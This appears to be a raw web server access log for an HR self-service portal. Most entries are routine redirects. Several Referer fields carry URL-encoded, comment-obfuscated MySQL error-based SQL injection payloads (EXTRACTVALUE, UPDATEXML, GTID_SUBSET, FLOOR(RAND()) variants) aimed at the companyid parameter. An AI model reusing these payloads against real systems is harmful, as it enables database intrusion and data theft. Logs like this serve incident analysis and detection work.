100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x52483735%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3573384a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4e385739%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32715958%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4769304e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79497a41%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x68486e70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39695366%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6b4f6436%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a484242%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x35645048%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76583453%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x336e4c76%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x556c4733%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x6a727050%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d34797a%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x68443758%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36506a4b%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x46304339%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48484754%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x52566659%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7750674a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
